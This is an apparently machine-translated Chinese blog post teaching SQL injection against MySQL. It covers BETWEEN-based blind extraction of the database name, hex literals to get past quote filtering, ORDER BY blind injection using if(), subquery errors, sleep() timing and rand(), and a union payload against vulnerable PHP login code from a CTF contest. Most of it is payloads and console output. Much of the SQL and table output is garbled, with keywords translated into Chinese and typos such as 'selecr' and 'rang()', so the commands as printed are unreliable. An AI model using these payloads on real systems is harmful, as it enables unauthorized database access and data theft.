如何实现SQL注入技巧

分类:编程技术 时间:2024-02-20 15:24 浏览:0 评论:0
0
本期小编将为大家带来如何实现SQL注入技巧。文章内容丰富,从专业角度进行了分析和描述。希望您能通过阅读本文有所收获。

and 运算符取代了比较运算符

运算符 BETWEEN … AND 选择两个值之间的数据范围。这些值可以是数字、文本或日期。

and之间有数据比较功能

exp1在min和max之间

如果exp1的结果在min和max之间, `after and` 返回 `1`,否则返回 `0`。

示例

mysql> 从用户中选择 *;+----+----------+------------------------ - -----------+--------------------+|编号 |用户名 |密码 |电子邮件 |+----+-- --------+-------------------------------------------- ---+------------------+| 1 |一个 | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com|| 2 |啊| 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com || 3 |管理员 | 26fff50e6f9c6ca38e181c65c1531eca | 26fff50e6f9c6ca38e181c65c1531eca 456456664@qq.com || 4 |添加| 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |+----+------------+------------------------ ---- -------+--------------------+mysql> select * from user where id between 1 and 2;+---- +--- -------+--------------------------------+--- ---- ------------+|编号 |用户名 |密码 |电子邮件 |+----+----------+-------- ------------------------ ---+------------------+| 1 |一个 | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com || 2 |啊| 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |+----+-- --------+--------- ------------------ --------+------------------+

大多数数据库都支持Between 和 操作,但对边界的处理有所不同。 mysql中,between和include边界,也就是数学中的[min,max]。

在盲注中的应用

and之间可以过滤时使用 =,例如,正则表达式,>,<。

mysql> 选择数据库();+----------------+|数据库() |+----------------+|测试 |+------------ +1 行(0.00 秒)

1.配合拦截功能使用

mysql> select mid(database(), 1,1) Between 'a' and 'a' ;+---- -------------------------------- -----+| mid(database(),1,1) 位于 'a' 和 'a' 之间 |+------------------------ ------- ------------+| 0 |+---------------------------- ---------------+1行集中(0.00 秒)mysql> 选择 mid(database(),1,1) 之间 't' 和 't' ;+---------------- ---------------- --------------------------------------+| mid(database(),1,1) 位于 't' 和 't' 之间 |+-------------------------------------------- ----------- +| 1 |+----------------------------------------------------+集合中的 1 行 (0.00秒)

2.拦截函数过滤

表达式

在min和max之间选择exp

< p>字符截取函数过滤时,se的方式tting min 和 max 已更改。

测试 1

mysql > 在 'a' 和 'c' 之间选择 'b';+--- ------------------+| 'a' 和 'c' 之间的 'b' |+--------------------------------+| 1 |+---------------- ----------+集合中的 1 行(0.00 秒)mysql> 在 'a' 和 'b 之间选择 'b' ';+---------------- ----------+| 'a' 和 'b' 之间的 'b' |+------------------------------------ +| 1 |+------------------------+集合中的 1 行(0.00 秒)mysql> 在 'b' 和 'c 之间选择 'b' ';+------------------------+| 'b' 和 'c' 之间的 'b' |+------------------------------------+| 1 |+------------ ---------------+ 组中的 1 行(0.00 秒)

测试 2

mysql> 在 'a' 和 'c' 之间选择 'bcd';+------------------------ ----+| 'a' 和 'c' 之间的 'bcd' |+------------------------+| 1 |+------------- ---------------+集合中的 1 行(0.00 秒)mysql> 在 'a' 之间选择 'bcd'和 'b';+---------- ----------------+| 'a' 和 'b' 之间的 'bcd' |+-------------------- --------+| 0 |+--------------------------+集合中的 1 行(0.00 秒)mysql > 在“b”和“c”之间选择“bcd”;+------------------------------------+| 'b' 和 'c' 之间的 'bcd' |+----------------------------------------+| 1 |+--- ------------------------+1 row in set (0.00 sec)

可以看出从测试来看,当exp为单个字符时,三个区间的返回值都是1,但是当exp为字符串时,当区间为a-b时,返回值为0。当区间为a-c或b-c时,返回值为1。

也就是说,当比较字符串时,只会包含该值的一侧,即[b,c)。

所以在使用它时实践中,一定要注意区间的范围。

实际测试

mysql> select database() Between 'a' and 'z ';+-------------------- ------------+| 'a' 和 'z' 之间的database() |+-------------------- ----------+| 1 |+--------------------------------+集合中的 1 行(0.05 秒)...mysql> select 't' 和 'z' 之间的数据库();+------------------------ -------+|数据库() b't' 和 'z' 之间 |+---------------------------------------- ----+| 1|+--------------------------------+集合中的 1 行(0.00 秒)mysql> 选择数据库()在“u”和“z”之间;+--------------------------------+| 'u' 和 'z' 之间的数据库() |+--------------------------------+| 0 |+-------- -----------------------+1 行集合(0.00 秒)

As从结果可以看出,第一个字符是t

第二个字符

mysql> select database() Between 'tatest+---- ---------- --------------------+测试| 'ta' 和 'tz' 之间的数据库() |test+-------------- --------------------+| 1 |+-------------------------- ---------+集合中的 1 行(0.00 秒)mysql> select 'te' 和 'tz' 之间的数据库();+---------------- ------------------+| 'te' 和 'tz' 之间的数据库() |+----------------------------------+| 1 |+- ----------------------------------+集合中的 1 行(0.00 秒)mysql> select “tf”和“tz”之间的数据库();+--------------------------------+| 'tf' 之间的数据库()和“tz” |+--------------------------------+| 0 |+---- ----------------------------------+1 行(0.00 秒) 

剩下的就是等等。最后的测试就是测试。

3.单引号之间进行过滤

,并且还支持十六进制,因此可以使用16进制绕过单引号的过滤。

测试

mysql> 选择 0x61 和 0x7a 之间的数据库(); //在 'a' 和 'z' 之间选择数据库( );+------------------------------------------------ +| 0x61 和 0x7a 之间的数据库() |+--------------------------------+| 1 |+------------------ ---------------+1 行集合(0.00 秒)mysql> 选择数据库( ) 0x74 和 0x7a 之间; //在“t”和“z”之间选择database(); +--------------------------------+| 0x74 和 0x7a 之间的数据库() |+---- ------------------------------------------+| 1 |+---------------------------- ------------------+1 行集合(0.00 秒)mysql> 选择数据库( ) 0x75 和 0x7a 之间; //在'u'和'z'之间选择database();+------------------------------------+| 0x75 和 0x7a 之间的数据库() |+ ----------------------------------+| 0 |+---------- --------------------------+1 行集合(0.00 秒)
< p>理解order by

order by是mysql中对查询数据进行排序的方法,
使用示例

select * from 表名 order by 列名(或数字)asc;升序(默认升序) select * from 表名 order by 列名(或数字) desc;降序排列

这里的重点order by之后可以填写列名或者数字。例如:

id是user表第一列的列名,所以如果想根据id排序,有两种写法:

select * from user order by id;selecr * from user order by 1;

盲注排序
< /p>

联合工会盲注

这是我在安恒杯月赛上看到的。

后端关键代码

$sql = 'select * from admin where username='".$username."''; $result = mysql_query($sql);$row = mysql_fetch_array($result);if(isset($row)&&row['用户名']!="admin"){ $hit="用户名错误!";}else{ if ($row['password'] === $password){ $hit=""; }else{ $hit="密码错误!"; }}

payload

username =admin' union 1,2,'string' order by 3

sql语句变成

select * from admin where username=' admin' or 1 union select 1,2,binary 'string' order by 3;

这里会比较第三列,即比较字符串和密码。然后就可以根据页面返回的不同情况进行盲注入了。
注意,最好添加二进制,因为比较顺序不区分大小写。

基于if()盲注入

需要知道列名

按顺序返回的列由不同租。当然,页面也不同,所以可以根据不同的排序列进行盲注入。

示例:

order by if(1=1,id,username);

如果使用数字而不是columns 该名称不起作用,因为 if 语句返回字符类型,而不是整数。

无需知道列名

有效负载

order by if(表达式,1,(select id from information_schema. tables))

如果表达式为假,SQL语句会报错ERROR 1242 (21000): Subquery returns more than 1 row,导致查询内容为空。如果表达式为真,则返回正常页面。

基于时间的盲注入

payload

order by if( 1=1,1,sleep(1))

测试结果

select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟

测试时发现延迟时间不是sleep(1)中的1秒,而是大于1秒。

最后发现延迟时间与查询数据的数量呈指数关系。

计算公式:

延迟时间=休眠秒数(1)*查询数据条数

我测试的ha表有5条数据,所以有5秒的延迟。如果查询的数据很多,延迟时间会很长。

编写脚本时,可以添加超时参数,避免延迟过长。

基于rang()的盲注入

原理就不详细描述了,看测试结果

mysql> select * from ha order by rand(true);+----+------+|编号 |姓名 |+----+------+ | 9 |空|| 6 |空|| 5 |空|| 1 |决策支持系统|| 0 | dasd |+----+------+mysql> select * from ha order by rand(false);+----+------+|编号 |姓名|+----+------+| 1 |决策支持系统|| 6 |空| | 0 |达斯达|| 5 |空|| 9 | NULL |+----+------+

可以看到rang()为true和false时的排序结果不同,所以可以使用rang()函数进行盲选注射。
示例

按 rand 排序(ascii(mid((select database()),1,1))>96)

以上就是小编给大家分享的如何实现SQL注入技巧。如果你正好有类似的疑惑,不妨参考上面的分析来了解一下。如果您想了解更多相关知识,请关注行业资讯频道。

1. 本站所有资源来源于用户上传或网络,仅作为参考研究使用,如有侵权请邮件联系站长!
2. 本站积分货币获取途径以及用途的解读,想在本站混的好,请务必认真阅读!
3. 本站强烈打击盗版/破解等有损他人权益和违法作为,请各位会员支持正版!
4. 编程技术 > 如何实现SQL注入技巧

用户评论